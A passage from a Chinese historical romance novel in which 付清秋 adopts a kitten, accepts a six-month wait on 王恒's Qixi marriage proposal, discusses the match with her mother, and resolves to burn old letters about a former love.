“王郎君,可搅了你的清净?” 王恒眸光忽滞,只觉他心中所想的清净,和付清秋所言之清净,有所不同。 付清秋起身往金明池去,王恒跟在她身后,二人同游,望着眼前的金明池,付清秋想起了些旧事,垂首蓦然一笑。 —— 回京的日子不比青山寺有趣,付清秋成日待在杏院,亦无别处可去,闲时作诗写字,再不然便是午后懒睡。 有时吕氏会来寻她说些话,付清秋认真听着,心里期盼着小侄儿出世。 清闲的日子还未过几日,尹惜便下帖子请她去贺府,原是雪团下了崽,尹惜知她喜欢狸奴便叫让她去挑一只,付清秋去时,先被尹惜数落了一顿。 “你躲着不见我?躲得过初一,还有十五呢。”尹惜拉着她去挑幼猫。 一窝的白绒绒,瞧不出什么好与不好,付清秋心中欢喜,伸手在幼猫面前晃,一只尚未睁眼的小猫抱住了她的手。 软而轻的猫爪触到她的一瞬,付清秋心乱不已,抑不住地欣喜。 “尹姐姐我要这只!”付清秋笑道。 尹惜眉尾轻挑,道:“带走罢,记得把聘礼给我,我替雪团收着,给少了我可是不允的。” “尹姐姐还真是,贪财好色,还能有心静下来修行。”付清秋嘟囔道。 付清秋去下聘那日已近暮春,尹惜亲自将幼猫交到她怀里。 “当真是与你有缘,是最好的崽儿。”尹惜不曾想付清秋会挑走那只异瞳的幼猫。 付清秋一时讶然,抱着那幼猫看了又看,当真是蓝金异瞳,觉察到付清秋怜爱的目光,那幼猫往她怀里蹭了蹭,轻声打鼾。 “尹姐姐舍得将它送我?”付清秋怀中猫儿太轻,抱着它时,付清秋心里绷着一根弦,怕轻怕重,唯恐唬着它。 尹惜见她手足无措,放声一笑,“付二姑娘,你也太小心,不过瞧着你这样,对它来讲兴许是个不错的归宿,给它取个名字,取得不合我意,我就把聘礼退回去。” 付清秋恹恹道:“哪儿是叫我取名呢?是要考我才是。” 尹惜含笑点头,她就是要考付清秋,怎么给这只异瞳临清狮子猫取名。 “瞳瞳。”付清秋抿唇偷笑。 尹惜点着她的额头,嗔道:“你是会取巧的,你的狸奴,你说了算。” “瞳瞳,咱回家啦。” 付清秋温言软语地抱着狸奴,小心地抱在怀里,云露见此,不由得愁起来。 “姑娘,夫人知道这狸奴,不得把杏院拆了?”云露忧道。 “那又如何,我心已决,母亲不愿也得愿,大不了我自己买个宅子住到外面去。”付清秋神色温柔,静静地摸着瞳瞳。 韦氏向来不喜狸奴,也不肯见付清秋一意孤行。只是这两年,韦氏上了年纪,鬓发渐白,再受不住付清秋离开,如今听闻她从贺府抱回只狸奴,只当是没瞧见,并不多言。 付清秋如今不大听她的话,韦氏掌不住她,心中只愿女儿能多陪在她身边。 夜里付清秋在屋里灯下看着瞳瞳,它如今只有手掌大点,洁白的容貌一尘不染,一小团缩在美人榻上,付清秋的心被这幕融化,忍不住摸了摸瞳瞳。 瞳瞳伸出前爪,殷粉爪垫大开成一朵梅花,它半眯着眼,不过多时又睡了。 “姑娘,可要睡了?”绿柳轻叩房门,见烛光还亮着,又不见云露,正要进屋,忽见付清秋穿着亵衣开门。 绿柳惊道:“姑娘,怎未叫我和云露服侍?” 付清秋乌发披散,拢在一边肩上,领如蝤蛴,肤如凝脂,她望了一眼绿柳,示意她跟着,付清秋轻关上门。 月下美人素净,绿柳心觉不安,正要追问,却见付清秋回首,让她坐下。 “绿柳,我聘了一只狸奴,唤作瞳瞳,这会正睡着,日后动作轻些恐吓着它了。”付清秋声轻如风,眸光似水平静淡然。 绿柳垂首不知说些什么,她才晓得付清秋养了只狸奴,好似她总赶不上云露。 从前她虽不常陪在付清秋左右,可那时她心里晓得付清秋更依赖她,可如今眼前的姑娘,跟她格外生分。 “姑娘,夫人” “母亲那边已晓得了,不必担心。”她打了个哈欠,听风摇拽杏花,“绿柳,日后也不必贴身服侍我,我自己来便好,你同云露能自在些。” 绿柳抬眸望着付清秋,有些话哽咽在喉间。 “姑娘,不要我了吗?” 付清秋蓦然抬眼,风一吹便觉冷了几分,绿柳竟向她问出这话。 第24章 此生非你不娶 霎时, 院里静了下来,只闻风声作响。 “何出此言呢,绿柳。”付清秋斟茶, 推了一盏给绿柳, “你我相伴十余年, 我从未如此想过。” 闻言,绿柳眸光一亮,茫然问道:“那姑娘为何不留我陪着你呢?” 为什么不留她, 而是留下云露。 这两年,这件事一直萦绕在她心头, 分明她跟着付清秋十余年, 怎么就被云露比了下去。 付清秋眉头轻蹙,柔声道:“绿柳,你在意我留下的是谁?” 绿柳颔首, 眸光颤颤地望着她。 “那时,我心中万千思绪凝成结, 我不需要一个贴心的女使,绿柳,有些话我不忍对你说。”付清秋温和地诉说过往。 “姑娘是不是我做错了什么, 姑娘尽管直说, 绿柳愿意受罚。” 绿柳听着那后半句话,很是确认她曾经是做错了事。 付清秋长舒一口气,摇头道:“我累了, 绿柳你没有做错任何事,不需要这样。” 绿柳正欲再说,付清秋已往屋里去,很快房里的烛火便熄了下去。 那日过后, 绿柳似有所悟,每日只跟着云露行事,从云露口中得知王恒和付清秋在青山寺结缘一事。 一转眼至七月,暑气渐重,院中枝叶横生,绿荫成片。 吕氏与付清秋日渐熟悉,这才知晓吕氏和尹惜是闺中好友,提及尹惜二人一唠便是一下午。 这日黄昏,疾风乍起,枝叶簌簌。 付清秋眼见时候差不多了,便起身换了件天青色窄袖襦裙,挽上碧色披帛,简单梳着流云髻。 吕氏见罢,方问:“又是去见王郎君?这些日子王夫人往府上送了好些东西,想来是为着你呢。” 付清秋垂眸,道:“嫂嫂拿我取笑。” 吕氏暗想王恒对清秋有情,清秋自是看得出来,况且王恒与她在青山寺相识,也算有缘。 若是能成,倒也是桩美事。 “罢了,你可听说了,前阵子边关大捷,二弟来信说要回京了。”吕氏啜茶道,“此次头功还不是二弟,只说有个少年将军,甚是年青,竟有如此成就,实乃惊奇,你大哥总在我跟前赞颂,听得我耳朵都要起茧子了。” 付清秋上妆地手倏然一顿,不知为何她心头密密麻麻地痒起来。 良久,她才回过神来。 “二哥哥还晓得回来,他也学我要去修行?”付清秋贴上花钿,描眉簪花,“等二哥回来,指定叫他挨顿打。” 吕氏笑着打趣,道:“宅里竟还是小妹做主,清秋,见你如此郑重,可是将王郎君放在心上?” 付清秋羞赧,一抹飞霞扑在脸颊,鸦黑的睫毛轻颤,低声道:“今日七夕他邀我去相国寺,我岂有不去之理,况且汴京又不比青山寺里随处闲逛。” “今日可是七夕,大哥不回来吗?”付清秋起身问吕氏。 吕氏道:“他敢不回来?你今日出去,给我带果食花瓜回来,我心里直想吃。” * 此夜清风明月,车马盈市,罗绮满街,市巷街尾撑起青布伞售卖杂嚼、磨喝乐、果实将军、花瓜、谷板满城灯火,人来人往。 付清秋只身一人出门赴约,王恒候在付宅前,未带侍从。 “王郎君来得这么早?”付清秋眉眼带笑,俏而不俗,王恒一眼望去便见她头上海棠簪子。 王恒身姿颀长,身着月白竹纹圆领长袍,只以素簪半绾发,文雅温润,实乃书中所载君子。 “不早,才到。”他道。 付清秋颔首低笑,她才不信王恒的话,必是早到了许久,付清秋并不戳破,再抬眼时,却见他垂眸盯着她。 “我妆花了?” “没有。” 王恒错开眼,耳间飞红,付清秋见他这般,悄然垂首。 七夕佳节,付清秋不愿错过,同王恒一道去了马行街,二人并肩同行。 马行街一向热闹,时至七夕,百姓欢乐,人声鼎沸之中又有百戏出演,伶人卖艺,摊贩旁尽是络绎不绝的郎君娘子。 “汴京还和以前一样。”付清秋心生感叹,走在璀璨明灯下,一路沿街张望,新鲜玩意不减当年。 王恒眸光温和,停下来,道:“汴京城热闹,你喜欢我们日后常来罢。” 付清秋回首,娇俏轻笑:“好啊。” 见她笑颜明媚,恍惚之间又回到了两年前的那个春日,少女眉眼清秀灵动,纵使未窥得全貌,也令他神魂失守,辗转难眠。 王恒一时失神,付清秋微微蹙眉,疑道:“王郎君在想什么?” “没什么。”王恒回神,低声道,“付二姑娘,今日很美。” 街头闹市,人影憧憧。 付清秋未听清他的话,只抿唇轻笑,继续俯身看床凳上的磨喝乐,正瞧得起劲,忽地一道白影伸手挑起了一个眯眼笑的磨喝乐,画的精巧可爱,付清秋正欲买下来。 却见王恒已付钱,付清秋直起身,问:“你何时喜欢这些了?” 王恒眉眼低垂,望着她,道:“你喜欢,送你的。” “清秋,我可以这样叫你吗。”王恒小心探问。 闻言,付清秋像是被蜂蛰了,吓得浑身一颤,忙接过王恒手上的磨喝乐。 “这不合礼数吧。” 付清秋转过身去,抬步往前走,手里摩挲着磨喝乐。 王恒心悦她,从前付清秋是不晓得的,只当他是在寺中修行的同道中人,直至尹惜将他的心思道明。 国公府送往付宅的礼品不是假的,王恒对她的喜欢也是一目了然的。 而王夫人亦没有阻止,可见国公府是满意她的,也就是说,只要有媒人说亲,他们两家便可自然而然地结为亲家。 “王郎君——” “付二姑娘——” 两人齐齐出声,又齐齐垂首慌乱地四处张望。 “你先说。” “你先说。” 付清秋和王恒蓦然失笑,付清秋紧握着磨喝乐,眼中倒映璀璨花灯,道:“郎君先说罢,我说的不是什么要紧事。” 灿然灯火下,王恒拱手作揖,姿态虔诚认真,忽如其来地举动唬得付清秋忙拽过他的手,往无人处去。 “你作甚?”付清秋惊疑不定。 “付二姑娘,你若愿意嫁我为妻,我明日便去请媒人下聘写婚书,付二姑娘,你,愿意吗?”他说得郑重,一字一言都珍重,付清秋知道他说的话不假。 若没有师无涯,她或许会觉得眼前这人,是能相伴一生的良人。 可世上就是有师无涯。 王恒躬身不起,他在等付清秋的答语,他与她青山寺相伴两年,春水煎茶,松花酿酒,仿佛一对山野鸳鸯,他们应当是良配。 他对付清秋动情,只有一眼,而那一眼足以定终身。 昭宁七十二年的秋雨,是他违背君子礼节,擅自离席,怕山路坎坷一路跟随。 “王郎君,言重了。”付清秋心知王恒心思,她不该心不清。 她和师无涯十二年,并非一两年可忘,但假以时日,她是能够放下师无涯的,可这对王恒不公平。 诓人骗心的事,她做不到。 付清秋深呼一口气,朱唇轻启,正欲开口。 恰此时,一抹绚丽的烟火在星夜中绽开,烟火骤响,犹如春日百花盛放。 汴京城灯火莹煌,烟火绚烂,王恒仍如方才那般,付清秋抬手扶他起身。 “再等等,王郎君,我心不静,不必等我,这些年多谢王郎君照拂。”付清秋郑重还礼。 王恒见此,忙道:“付二姑娘,此生非你不娶。” 这句话,付清秋听过,只是那人不是对她说的。 “半年为期,王郎君,到那时你若仍要娶我,就请来向我提亲,只是我性子怪,王郎君还请想清楚。”付清秋眸光莹亮,眼中漫出些许欣喜,与漫天烟火重叠。 只这一句,王恒便觉足够,心道不过半年而已。 “好,付二姑娘不要食言。”王恒心有失落,却又因她这句话稍有慰藉。 王恒知付清秋师承尹惜,而尹惜极有主见,诗词无双,想来她教出来的人也是像她的。 他愿意等她。 付清秋紧着手中的磨喝乐,眼波流转,轻声道:“王郎君,多谢。” 付清秋心知王恒是敬重她的,若非如此,他大可命王夫人上门提亲,说与韦氏听,韦氏自然欢喜,可他没有这样做,她问她是否愿意。 这样好的人,付清秋忽觉有些配不上。 她曾为师无涯几度自戕,身陷险境,可如今的她早已不会如此行事。 世事变迁,保神观前露台前的百戏咿咿呀呀地唱过两轮。 “王郎君,若我曾有个喜欢的人,为他几度自戕,誓要生死不弃,你可还愿意娶我?”付清秋不忍瞒他,她可以永远不告诉他,只要师无涯这辈子不出现,这桩事便永远消失。 王恒蓦然一怔,他的眼眸深沉不见底,在这煌煌灯色下,静地像是一条深远的小溪。 付清秋黯然垂眸,心中紧张不已,他到底是在意的,这也无甚奇怪,不消片刻,付清秋疏解心绪,坦然接受一切。 弯月如钩,澄明的灯烛,映照着王恒如松竹般清俊的身影。 付清秋见他久久不语,便开口道:“王郎君,此之常情,方才的话不过是一时戏言,我没当真,郎君亦可不当真。” 她怕王恒羞于启齿,只好先将话说出来,好给他台阶下。 君子之风,犹如王恒,他定然是不肯悔话的。 闻言,王恒竟垂首笑起来,付清秋不明白他这是何意,眉头轻蹙,朱唇轻抿,她想是不是她说错了话。 王恒笑意温和,眸光盛满月光,衣诀随风飘摇,一步一步靠近她。 第25章 了断 风清月明, 大庭广众之下,付清秋晓得王恒不会做什么,只是他不言语, 只一个劲地靠近她, 此刻她心神恍惚, 急喘几口气。 “王郎君,可是我说错了话?”付清秋往后退去,仰头看他蓦然停下。 王恒笑意不减, 眸中闪过一丝落寞,怅然道:“我不在意, 只怪相逢恨晚。” 付清秋微怔, 听他语气失落,不由得抚慰,道:“我倒觉不算晚, 王郎君。” 若是早些遇见,恐怕王恒是要对她说一句相逢恨早, 那时的她,满心满眼的师无涯,又怎会多看别人一眼。 所以, 她与王恒相逢不晚。 王恒眼眸骤然明亮, 望着付清秋,郑重道:“我愿意等,绝不反悔。” 付清秋握紧手上磨喝乐, 颤颤抬眸,眉眼之间多了几分女儿家的羞怯,又兀自垂首。 “王郎君,多谢。”付清秋悄声说着, 王恒与她并肩同行。 七夕夜长,流光星辰,马行街尽头有富商搭起彩楼赏月品茶,瓦肆中灯火通明,台上正演着傀儡戏,傀儡栩栩如生,引得看客拍手称绝。 付清秋远远地扫了一眼,其实那里头不止有傀儡戏。 “想去看看吗?”王恒站在她身边,顺着她的视线看去。 只听里头牵着丝线的艺人讲述这一位驻守边的将军,那将军击退外敌异族,骁勇善战,煞是年青,实乃武曲星下凡,艺人越说越兴奋,连连调动木偶。 这桩事是从边关传回来的,不过一月有余就已传回汴京被编做时兴的画本子,就连说书先生都不例外,艺人更是屡屡摆出这出戏,定要说那将军如何威风,如何俊朗潇洒。 付清秋摇头,对那所讲述的少年将军并无好奇。 “今日恐怕不行,我还想多去相国寺看看,日后有的是时间,不急这一日。” 王恒略微颔首,依她所言往相国寺去,御街河渠中的荷花满盈,在夜风中微微颤颤,御河池水倒映着月光烟火。 “付二姑娘,挑一盏喜欢的花灯吧。”王恒出声唤她。 付清秋应声回首看他所指的花灯摊,各式各样的花灯栩栩如生,民间手艺虽赶不上宫内的琉璃花灯,却也是格外的细致,花灯透着零星的光晕,一盏又一盏,险些看花了眼。 贩花灯的老伯白胡子白眉须,笑得慈悲,他道:“小娘子可有喜欢的样式?我在这儿卖了几年的花灯,见二位身份不俗,可买一赠一,权当作送娘子郎君一份心意。” 王恒眉梢上扬,清秋瞥向他,见他欢喜,便道:“那我要一盏莲花灯,送我一盏鱼灯可好?” 清秋指向一排当中最为漂亮的鱼灯,老伯显得为难,搓搓手道:“这鱼灯不是一个价钱,小娘子要不然换一个,你瞧这个花鸟灯也不错,娘子再不济看看这盏走马灯。” 老伯嘴上说着买一盏送一盏,可要挑走最好的那一盏鱼灯又不情愿。 “那要一盏鱼灯,送一盏莲花灯。”王恒走近那盏鱼灯,细细打量,“这盏值多少钱。” 老伯瞅两人衣着,眯着眼笑得开怀,心里早已打好算盘,伸手比了个五。 “不买。”清秋忙拉过王恒,悄声道,“五两也太贵了,那盏鱼灯哪儿买不到?” 王恒故作为难,皱眉又叹气,以不大不小地声音说道:“是啊,别的地儿也有的卖。” 老伯那肯放过上钩的鱼,只说五十文就可带走鱼灯并一盏莲花灯,清秋灿然轻笑,接过两盏花灯,将其中一盏莲花灯送给王恒。 “王郎君会不会瞧不上这盏鱼灯?”清秋一手提着莲花灯,一手抱着磨喝乐。 王恒顺手接过她手上的磨喝乐,道:“很喜欢,其实你打从一开始就是想要这盏鱼灯,是吗?” 清秋扬唇轻笑,眸光流转,思忖片刻道:“我是想要的,但老伯说买一赠一,又不肯赠我了,倒是只能买下来了,让我送你的莲花灯成了赠的。” “多谢付二姑娘了。”他学她那般郑重腼腆,清秋顿觉羞赧,垂下头摆弄手上的莲花灯。 月下清风柳绿,潺潺御河水淌过,行人纷纷赏月乞巧。 “付二姑娘四个字好像有些拗口,王郎君可以像盛姐姐一样唤我付二。”清秋想将来她和王恒不是夫妻便是至交好友,无需太过生疏。 王恒颔首,眼尾含笑,注视着清秋时又添几分温和缱绻。 “天时不早了,我送你回宅。” 王恒送清秋至宅门前,云露绿柳候在门后,王恒临行前俏声在她耳边低语。 “付二,今夜好梦。” 月梢枝头,流光银辉,点点洒落肩头,清秋含羞垂眸,王恒提起手中鱼灯,不掩欣喜之色。 “祝君好梦。” 清秋悄声回道,夜风吹来,风中依稀可闻几缕合香,清秋目送王恒离开。 清秋转身回宅,却见吕氏并几个女使站在宅门前,几人定然是瞧见了方才的事,清秋也不恼,只上前去搀着吕氏。 “嫂嫂,今夜风冷,伤着我的宝贝侄子了怎么办?”清秋打趣道。 吕氏反打趣她:“怎不说伤着我的身子了?知道的是爱重我,不知道的只当是宝贝着肚子里的混小子。” 清秋见她眉花眼笑,便知吕氏高兴。 自从青山寺回付宅后,清秋同这个嫂嫂近乎无话不说,韦氏不为难吕氏,不似汴京里别的婆母,要叫媳妇站规距。 吕氏得了婆母体谅,自然贴心服侍,如今有了身孕,韦氏也不再让吕氏去正房。 后院里如今只剩韦氏和嫂嫂,清秋得了闲便往吕氏房里去。 这日午后,清秋提着百花糕去寻吕氏,穿行曲折回廊时,正巧遇上李妈妈,李妈妈一身豆绿衣衫,见是清秋,忙拉过她的手。 “姑娘好福气,今日国公府又送了好些东西来,夫人正要我来寻姑娘呢,”李妈妈使眼色让女使接过清秋手中食盒,“快去呢,大娘子也在,姑娘快一道来。” 清秋闻言,一路跟着李妈妈到正房,绕过悬吊珠帘,美人榻上吕氏正和韦氏对弈,房内点着清幽合香,闻着与付清岁调制的不同。 “嫂嫂和母亲躲在这儿呢,李妈妈不来找我,我就要落了单。母亲也是有了新女儿了,不要我了呢。”清秋故作委屈,俏皮地看了眼吕氏。 韦氏无奈一笑,似怒非怒:“说浑话,快来坐,你可晓得你二哥哥要回来了。” 清秋缓缓坐至吕氏身边,熟稔地挽起吕氏的手,轻柔地抚摸她逐渐隆起的小腹。 “还说我呢,我看那你才是有了嫂嫂忘了娘。”韦氏玩笑道。 吕氏面上轻笑,她倒不是头一回见母女两个互相打趣了。 清秋笑说:“嫂嫂性情柔顺,谁见了不喜欢?母亲喜欢嫂嫂,我自然也喜欢嫂嫂。” 韦氏说不过她,绕开此话,另起话头,说及王夫人送来的礼品,吕氏心知这是国公府的心意,亦是王恒的心意。 国公府看得上付家,到底是高攀,如今这般做更是给足了体面。 吕氏疑道:“国公府这样的好人家,母亲可是心有顾虑?” 韦氏捧起建窑兔毫盏,浅啜一口茶,眉间攀上一缕愁思。 那里是她不满意,是有个犟的不肯答应。 韦氏回想起前几日在席上见到王夫人,王夫人主动与她说话,自然而然地说起了清秋。王恒有意娶清秋为妻,往日王夫人并没看上清秋,只一心想着让王恒娶个娴熟文静的姑娘。 原是看准了付清岁,虽说是个庶女,但养在韦氏膝下,想来品性是个好的,只可惜和盛家二姑娘走得近。 后来枫林宴再见付清秋,王夫人倒觉付家二姑娘是个不错的。 韦氏自然不晓得王夫人的心思,只当是一门好亲事,若是请了人上门来说,她必然应允,可也没见上门来说亲,倒是奇了怪了。 韦氏不知其中缘由,清秋却深知是为何。 原因只一点,那就是王恒敬重她。 从前在青山寺时,王恒便问过她将来要嫁什么样的人,清秋脱口而出要嫁一个敬重她的人。 韦氏轻叹,淡声道:“确实是不可多得好人家,只是还没个定数,想当初清秋在青山寺承蒙王家郎君照拂,如今是个什么心思,我也拿不准。再者说,王夫人悲秋伤春,将来清秋嫁了过去也未必受得住。” 吕氏道:“母亲此言差矣,王夫人瞧着面善呢,决计不会为难儿媳。何况那王家郎君对清秋情深意重,又怎会让清秋受苦,母亲当真是关心则乱。” “也罢也罢,儿女自有儿女的造化,我能做的也都做了。”韦氏恹恹道。 清秋乍一听这话,不解其意,只宽慰韦氏,道:“母亲,王夫人好与不好,与我无甚关系,况如今事都还未定下来,母亲也别担心了。” 王夫人是怎样的一个人清秋不甚了解,可她的母亲她还不了解吗,唯恐她在别处受了委屈。 韦氏摆摆手,一时头痛,“你一个姑娘家家哪里懂这些门道,就是再好的人家,再体面的门户,里头还不是有些污糟事。清秋,你想的未免太简单了,我心里也是为着你好,你如今倒不急起来了。” 国公府正室所处且就王恒一子,可底下还有好几个庶子,那些个妾室谁不盯着王夫人,王夫人自来体弱多病,心思郁结,将来只怕是活不长久。 现如今是看着风光,那日后呢? 韦氏越想越头疼,李妈妈见势不对,忙上前去扶着韦氏。 “我身子不舒服,都回去吧。”韦氏轻揉鬓角,“过些日子再来罢。” 清秋担忧韦氏,这两年里她未在母亲跟前尽孝,如今母亲病了她更不愿离开。 李妈妈见清秋留下,便打帘子出去,让她们母女独处,吕氏识趣先行。 夏日深长,窗棂外绿荫郁郁青青,清秋伏在韦氏床前,仿佛还是当年那个在撒娇的小女儿。 韦氏倚在床沿,帷幔拂起,玉钩轻荡。 “母亲,其实我不嫁人,留在母亲身边侍奉一辈子也不是不可以。”清秋轻声道。 房内冰鉴里的冰散着白雾,一阵又一阵的凉意袭来,韦氏心中一凛,只觉眼前的乖乖女儿变了副模样。 这世上只有嫁不出去的女子,哪有女子是不想嫁人的。 “这样的话,你从那儿学来的?怎么这么不知好歹?”韦氏柳眉倒竖,缓声问,“你这两年到山上都学了些什么?” 清秋不急不恼,娓娓道来:“母亲,何故这么说,嫁与不嫁在我自愿,我若不肯,就是圣旨来了,我也不嫁。” 韦氏听罢,眉头紧锁,指尖摁向她的额头,心内生气,又不知该说些什么。 “你啊你啊,一不顺你心,你就是要上跳下窜,我舍不得怪你,埋怨你,我只恨我自己,恨你爹。”韦氏长舒口气,“你不在的这两年,我日思夜想,你父亲也跟着白了头,这几年他又忙,无暇顾及后院,清秋得了空去见见你爹,他很想你。” “你爹同我不一样,他平日纵着你,顺你的意,可这件事上,你爹气得好几夜不眠,我说你要回来,你爹是又气又难过。” 韦氏语重心长,一字一句落在清秋心上,清秋鼻尖一酸,眼中含泪。 “母亲,对不起。”清秋小声抽噎,别过头不肯让韦氏看见。 清秋深知当年是她太过冲动,一别两年,父母虽在,却年岁渐长,兄弟姊妹也各奔东西,有了各自的前程。 “清秋,不妨事的,日后多听母亲的话可好?”韦氏深深道,“王家郎君我见是个不错的人,我是放心的,只是国公府我却放不下心。” 韦氏抬手擦去她眼角的泪,心疼地抚摸她的额头,眼前的女儿乖巧水灵,出落得亭亭玉立,标致的江南美人。 “清秋,我累了,你回罢。” 韦氏稍显疲倦,她着实累了,清秋服侍韦氏睡下,末时一刻,清秋才回杏院。 时辰尚早,清秋闲来无趣便又去寻吕氏,吕氏正在坐在窗边绣鞋,这间院子冬暖夏凉,院前清溪淌过,颇有几分山野趣味。 “嫂嫂。” 清秋扬声唤道,吕氏抬眼见她来,命人取来一碟点心。 吕氏将绣鞋放到小几上,笑道:“清秋,来坐。母亲心疼我,送了好些东西来,你尝尝这梅子,很是不错。” 小几上白瓷碟里盛着几颗梅子,青梅的涩香在唇齿间打颤,清秋口齿生津,摇头道:“我不爱吃酸食。” “倒也罢了。”吕氏眸光和静,柔声问,“你和王家郎君好事将近,怎得愁眉苦脸?可是有心事?” 清秋心下骇然,吕氏怎会发觉她的这重心思,只是她不想再提往事,胡乱搪塞过去。 婚嫁大事,一时之间,清秋只觉那瓷碟的梅子像是含在嘴里,酸涩异常,不能吐出来,亦不能咽。 吕氏身子重,清秋并未多扰,不消半个时辰就离开了。 自打从青山寺回来后清秋常一个人走动,不论绿柳还是云露她都不让跟着。 夏日深长,金乌灼人。 回廊下清秋身着碧绿薄衫,乌黑秀发半绾,白墙青瓦,浮光深沉,松影憧憧。 廊下不时穿过清风,两年前的一些场景忽然涌现。 清秋指尖轻抚白墙,心间泛起阵阵涟漪,回廊的尽头是那片粉青的荷花池,池边小亭翘角飞檐,池中荷花在热浪中摇曳,荡开满池波澜。 清秋往池边亭去,夏日轻纱薄衫,一截藕粉玉臂若隐若现,清秋倚在亭栏边,池边风声拂耳。 此时此刻,清秋心中一片宁静,灼灼夏日,她不着一丝薄汗,实在稀奇。 良久,她缓缓抬起眼睫,微风颤颤吹拂乌黑卷翘的睫羽。 清秋倏尔起身,竟忘了那一桩事,是时候做个了断了。 第26章 仿佛一切都安稳了 暮色飞霞, 流云万里,荷花池边一抹碧色身影倏然闪过。 清秋三步并作两步回了杏院,云露绿柳正在亭下翻花绳, 眼见清秋着急忙慌地奔回来, 绿柳忙扯开绳, 追上前去问。 “姑娘寻什么呢?”绿柳快步跟着她。 云露捡起花绳撇撇嘴,心道只你一人满心满眼的都是姑娘,白白作践了绳子。 绿柳转眼跟着清秋进屋, 云露收好花绳,坐在亭下自顾自地玩。 清秋脚下生风, 直奔楠木书架, 蹲下身子从最里头抽出铺满灰尘的木匣子,霎时间飞尘扑鼻,清秋眉头紧蹙, 挥手扇了扇,重重咳了起来。 日光薄暮, 轻盈细小的灰尘犹如蜉蝣,绿柳掩鼻凝眉,抽出帕子递给清秋。 “姑娘, 这是什么。”绿柳跟着扇灰。 清秋毫不顾忌地用手掸开灰尘, 原先漆红的匣子如今朦胧黯淡,锁扣未上锁,只因藏得深, 无人发觉。 “绿柳,你先出去罢。” 绿柳见清秋眼中盈盈有泪,可又觉得她是心有欢欣,绿柳实在看不懂她, 又问:“姑娘,可要我做些什么?” 清秋用手心擦拭着匣子,一双倩白玉手污满了灰。 “绿柳,我不用你做什么,你只需出去便是。”清秋蹙眉,重复方才的话。 绿柳犹豫片刻,但又只得依言关门退下。 见到这楠木匣子,清秋心中舒坦,打从肺腑里舒出一口气,旋即跌坐在书架前,好在背靠着书案,无须使力。 暮光透过菱花窗落在清秋柳眉杏眼,浮光温和惬意,额间白细的小绒毛沁出些许薄汗,清秋取出一叠又一叠的印花笺,碧色笺纸上的墨痕依旧。 上头无一不写着,再不要喜欢师无涯。 恍惚之间,已经过了很久,二八年华时,她做的那些傻事一一浮现。 如今再看,清秋心下坦然,唇边自然而然地勾出一抹浅笑,将所有的爱恨都泯在其中。 她和师无涯早在两年就已无甚关系,那这些东西也不该再留着,唯独一把火烧了去最为自在。 清秋手中举着一纸印花笺,上头的字迹歪歪扭扭,俗话说相由心生,而笔下字迹亦是如此,透过几笔横斜扭曲的墨痕便知当时的心境。 罢了,总归是过去的事,已无牵挂。 清秋理好层层叠叠的印花笺,不消细数也知有百余张,笺纸轻薄,压在木匣中显得厚重深沉。 木匣当中不止有印花笺,还有当年师无涯送她的生辰礼物。 本就不大的匣子里还放着小小的木盒,细看去,雕花木盒精巧细致,不出所料应当是簪子。 当年师无涯违背她的意愿,送她不喜欢的东西,如今她仍旧喜欢不起来。 清秋眸光忽沉,凝神看了好一会,正欲伸手去看,指尖刚触到那木盒,一股没由来的慌张漫上心头。 当年她没想看,如今再看又有什么意义。 左不过是师无涯随手送的玩意。 清秋不再纠结,将东西悉数收好,过几日付高越回汴京来,她正好将她和王恒的喜事告知,也算是好事成双。 细细数来,付家的好事还挺多。 吕氏怀有身孕,是为家中第一个子嗣,大哥和父亲仕途正好,二哥又在边关凯旋,她的亲事也将要定下。 仿佛一切都安稳了。 是啊,往后的日子就这么安稳了。 清秋抱起木匣放到桌上,霞光犹在,轻推木门,晚风铺面而来,风中裹着盈盈荷香,院中的青梅树今年竟比她往年长得好些了。 “云露,你来。” 清秋在廊下轻唤云露,云露应声,回首望去,见自家姑娘气色红润,心生欢喜。 “姑娘要做什么?”云露探头探脑地望着清秋。 清秋点她眉心,道:“问这些作甚,你晚些时候将桌上那匣子烧了去,和绿柳一道罢,我见她近来心思重,总觉二人离了心,说不清道不明。” “绿柳姐姐向来心思细,姑娘何须同绿柳姐姐计较,到底是绿柳姐姐年长,顾念的东西多些。”云露拧眉道。 绿柳跟在清秋身边的日子最长,若说有什么绿柳不晓得的,恐怕也就青山寺的那两年了。 云露心中有疑,这两年其实她也不晓得当初清秋为何要带她去。 “行,去罢,我晓得了。”清秋颔首道。 戌时一刻,细雨潇潇抖落青梅叶,杏院后的茉莉、百合、兰花纷纷垂首,花蕊含泪迷蒙清艳。 杏院石灯飘摇,雨打枝叶别有意趣,清秋伏案温书,菱花窗吹进少许凉风。 门前云露叩门,小声探问:“姑娘可睡下了?” 清秋闻声,道:“还没,作甚?” 窗外雨声渐重,云露扬声道:“方才李妈妈打发人来说,今日大朗君和大人回来了。李妈妈说夫人明日想一道用饭,叫姑娘别睡迟了。” 清秋支手扶额,眸光落在一行小字上,那时先前尹惜留下的注解。 书案旁灯花炸开,幡然跃动的烛光映照着一张白皙小脸,眉目间顾盼生怜,清秋收好书卷,轻“嗯”一声。 云露耳力过人,听见这话便匆匆退了下去。 恰此时绿柳款款而来,云露忙拦下,轻笑道:“姑娘快睡下了,绿柳姐姐便不用服侍姑娘了。” 绿柳挑眉远远望去,见灯烛未熄,心道云露偷懒罢了,还叫她一道偷懒。 “胡说,姑娘灯还亮着呢。”绿柳眉心紧拧,嗔道,“你是在寺里偷懒惯了?回了宅还这般,小心我同夫人说去。” 云露心下大骇,韦氏可不是个好说话的主。 “好姐姐,我不是偷懒,早些日子我便说过了,姑娘实在不需要你我服侍,你瞧灯自然就熄了。”云露挑眉往清秋屋里望。 绿柳顺着看去,当真熄了灯,先前云露是同她说过,只是她不愿相信,毕竟往日里娇养长大的姑娘,怎么一时之间就自个儿什么都会了呢。 思及此,绿柳眉间挂上一缕忧愁,云露未曾瞧见,挽着她回屋。 * 是日一早,清秋穿戴整齐,坐在妆镜前描眉,镜中女子肌肤胜雪,香雾云鬓,眉似远山青黛,眼眸莹亮似水。 乍一见,倒不像她了。 清秋正要净面落妆,却见云露绿柳进屋,云露眸光一闪,讶然道:“姑娘怕是天仙下凡来了,平日姑娘不上妆就已胜西子三分,如今看来姑娘当真是仙女来的。” 清秋哑然失笑,心知云露向来爱夸大其词,如今听她这般说,越发觉得好笑。 绿柳道:“姑娘可要去正房了,李妈妈方才差人来问过了,夫人又送了好些衣裳首饰来,姑娘要不再挑一挑?” 眼见时辰差不多了,清秋起身挽上鹅黄披帛,与她身上所穿的碧色衣裳相配,如同春日的鹅黄柳绿,实在亮眼灵动。 